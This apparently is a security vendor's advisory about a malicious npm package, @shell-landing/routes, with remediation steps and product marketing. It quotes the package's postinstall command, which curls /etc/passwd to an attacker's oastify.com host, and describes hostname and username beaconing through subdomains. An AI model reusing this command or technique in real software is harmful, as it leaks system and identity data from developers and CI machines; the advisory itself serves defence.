Malicious package

@shell-landing/routesnpm

@shell-landing/routes is a confirmed malicious npm package (MAL-2026-5429) that opens a backdoor for remote access (malicious version 99.9.5). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in @shell-landing/routes (npm)

MAL-2026-5429
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall @shell-landing/routes

What this malware does

On npm install, the package's postinstall hook runs node scripts/scream3gg.js && /usr/bin/curl --data '@/etc/passwd' $(hostname).200hj786m7x4kfz1lkr4kmshu80zoqcf.oastify.com. The curl invocation POSTs the contents of /etc/passwd to an attacker-controlled Burp Collaborator subdomain, embedding the installer's hostname in the request. The companion script scripts/scream3gg.js hex-encodes os.hostname(), os.homedir(), and os.userInfo().username and beacons each as an HTTP GET subdomain of *.nmd25sur8sjp60lm75dp67e2gtmkaayz.oastify.com. The package contains no library code, no README, and no main entry — version 99.9.5 with a pure-exfil payload under the @shell-landing scope is consistent with a dependency-confusion probe targeting an internal package name. Any developer or CI running npm install will leak host identity and /etc/passwd to attacker infrastructure.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Detection & response playbook

Backdoor / remote access
  1. Find it

    Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for @shell-landing/routes (version 99.9.5). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging @shell-landing/routes across your stack and pipelines.

  2. If you installed it — respond

    @shell-landing/routes establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.

  3. Did it already run?

    If @shell-landing/routes was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

  4. How O3 protects you

    O3 blocks @shell-landing/routes before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions
